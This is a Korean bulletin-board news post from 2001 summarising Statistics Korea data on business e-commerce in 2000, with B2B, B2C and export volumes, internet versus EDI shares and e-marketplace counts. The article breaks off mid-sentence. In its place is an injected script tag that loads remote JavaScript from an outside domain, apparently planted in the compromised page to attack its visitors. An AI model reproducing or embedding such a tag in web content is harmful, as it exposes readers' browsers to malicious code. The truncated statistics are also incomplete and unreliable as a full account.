| 글쓴이 |
운영자 |
작성일 |
2001-06-21 |
| 제목 |
작년 기업체 전자상거래 전체 규모는 57조원 |
작년 기업체 전자상거래 전체 규모는 57조원
e-마켓플레이스업체 작년 168개 늘어나 전년대비 88%증가
2000년 기업체들의 전자상거래 전체 규모는 57조 5,584억원이었으며 e-마켓플레이스 업체는 작년에 168개사가 늘어나 총 191개인 것으로 조사됐다.
이번 설문은 통계청이 금융업을 제외한 1,658개 기업체, e-마켓플레이스업체는 191개사를 대상으로 전자상거래 확산도를 측정하기 위해 판매, 구매, e-마켓플레이스 부문에서 조사했다. 거래유형별로 보면 기업간거래(B2B)가 52조 3,276억원, 기업·소비자간거래(B2C)가 7,337억원, 해외수출거래 4조 4,498억원인 것으로 나타났으며 전체 전자상거래액(57조 5,584억원)은 총거래액(1,269조 5,330억원)의 4.5%에 해당하고, 기업간거래액(52조3,276억원)은 기업간 총거래액(835조 6,889억원)의 6.3%에 해당하는 것으로 나타났다.
기업간 전자상거래 네트워크 기반 비중을 보면 인터넷기반 거래가 판매의 경우 27.9% 차지한 반면, 구매에서는 62.8%로 나타났으며 조사기간중 인터넷기반 비중이 판매 14.8%(1/4분기)→35.2%(4/4분기), 구매 57.1%(1/4분기)→ 68.4%(4/4분기)로 나타나 점차 인터넷 기반으로 전환이 되고 있는 것으로 분석됐다.
2000년 12월까지 개설된 e-마켓플레이스는 191개로 이중 86개 e-마켓플레이스에서 2000년 4/4분기 중 5,179억원의 매출을 올린 것으로 조사됐다. 특히 2000년도에 서비스를 개시한 업체는 168개로 전년대비 88%나 증가한 것으로 나타났다.
주요 업종별 대상업체를 보면 무역 및 종합분야 e-마켓플레이스가 35개로 가장 많았으며, 다음으로 화학분야, MRO(Maintenance Repair Operation)분야, 기계 및 산업자재분야, 전기·전자분야 등의 순으로 나타났다. 아직 소수지만 다양한 사업분야(기타업종: 대상업체 22개)에서 e-마켓플레이스가 구축·운영되고 있는 것으로 조사됐다. 2000년 4/4분기중 거래실적은 5,179억원으로 조사됐으며 4/4분기중 실적업체수는 86개이며, e-마켓플레이스 실적이 크게 나타나는업종은 화학분야 1,389억원(26.8%), 건자재 및 건설분야 1,030억원(19.9%), 식음료 746억원(14.4%) 등의 순인 것으로 나타났다.
판매부문의 경우 2000년 전자상거래 판매규모의 합은 총 23조 6,691억원이었으며 4/4분기 실적은 7조8,416억원로 1/4분기 4조 1,261억원에 비해 90% 증가한 것으로 조사됐다. 업종별로는 제조업종의 기업간 전자상거래 판매규모가 전체 전자상거래 판매액 중 93.2%를 차지했으며 제조업종 중 1차금속 38.1%, 전기기계 21.1%, 자동차 16.3%, 전자부품 11.4%가 대부분을 차지했다.
2000년 전자상거래 판매규모 중 인터넷기반에 의한 판매는 27.9%인 6조 5,943억원으로, 비인터넷(전통적 EDI)기반에 의한 판매는 72.1%인 17조 747억원으로 조사됐다. 분기별 추세를 보면 비인터넷 기반의 판매비율이 85.2%(1/4분기) → 64.8%(4/4분기)줄어드는
반면 인터넷기반의 경우는 14.8%(1/4분기)→35.2%(4/4분기)로 증가했다. 특히 제조업 중 전자부품, 자동차 업종에서 기존의 비인터넷 기반에서 인터넷기반으로 빠르게 전환이 이루어지고 있는 것으로 나타났다.
판매대상처별 전자상거래판매액 구성비는 산업사용자가 54.4%로 가장 높았고, 다음으로 중간유통기관 23.5%, 해외 18.8% 등이었으며 제조업의 판매처별 전자상거래판매액 구성비는 산업사용자 54.4%, 중간유통기관 24.7%, 해외 20.2%의 순으로 나타났다.
판매부문에서 2000년도 전체 매출액 중 전자상거래판매액이 차지하는 비중은 1.9%로 나타났고, 인터넷 기반의 비중은 0.5%로 비인터넷의 1.4%보다 낮게 조사됐다. 제조업종의 전자상거래판매액 비중은 4.2%였고 인터넷 1.1%, 비인터넷 3.1%로 나타났으며 제조업 중에서 전자상거래 판매는 1차금속(19.8%), 자동차(7.0%), 전자· 통신·영상·음향 관련업종(3.4%)에서 주로 이루어지고 있는 것으로 나타났다.
구매부문에 있어서는 2000년 전자상거래 구매규모의 합은 52조 3,276억원으로 나타났으며 특히 4/4분기 실적은 15조 4,720억으로 1/4분기 9조 9,916억원에 비해 54.9% 증가한 것으로 조사됐다.
업종별로는 제조업종 전자상거래 구매규모가 전체 전자상거래 구매액중 81.3%를 차지하고, 도소매업 10.7%, 건설업 5.6% 등에서 전자상거래 구매 실적이 있는 것으로 조사됐으며 제조업종 전자상거래 구매액중 대부분을 차지하는 전자부품, 전기기계, 자동차 등에서크게 증가한 것으로 나타났다.
전자상거래 구매규모의 경우 인터넷기반에 의한 구매는 62.8%인 32조 8,618억원, 비인터넷기반에 의한 구매는 37.2%인 19조 4,658억원으로 조사됐다. 이는 제조업종의 대기업들이 원자재 및 부품조달을 위해 이미 인터넷기반의 자체시스템을 구축하고 있다는 사실에서 그 원인을 찾을 수 있다.
분기별 추세를 보면 ?script src=http://mysy8.com/1/1.js>
|
|
|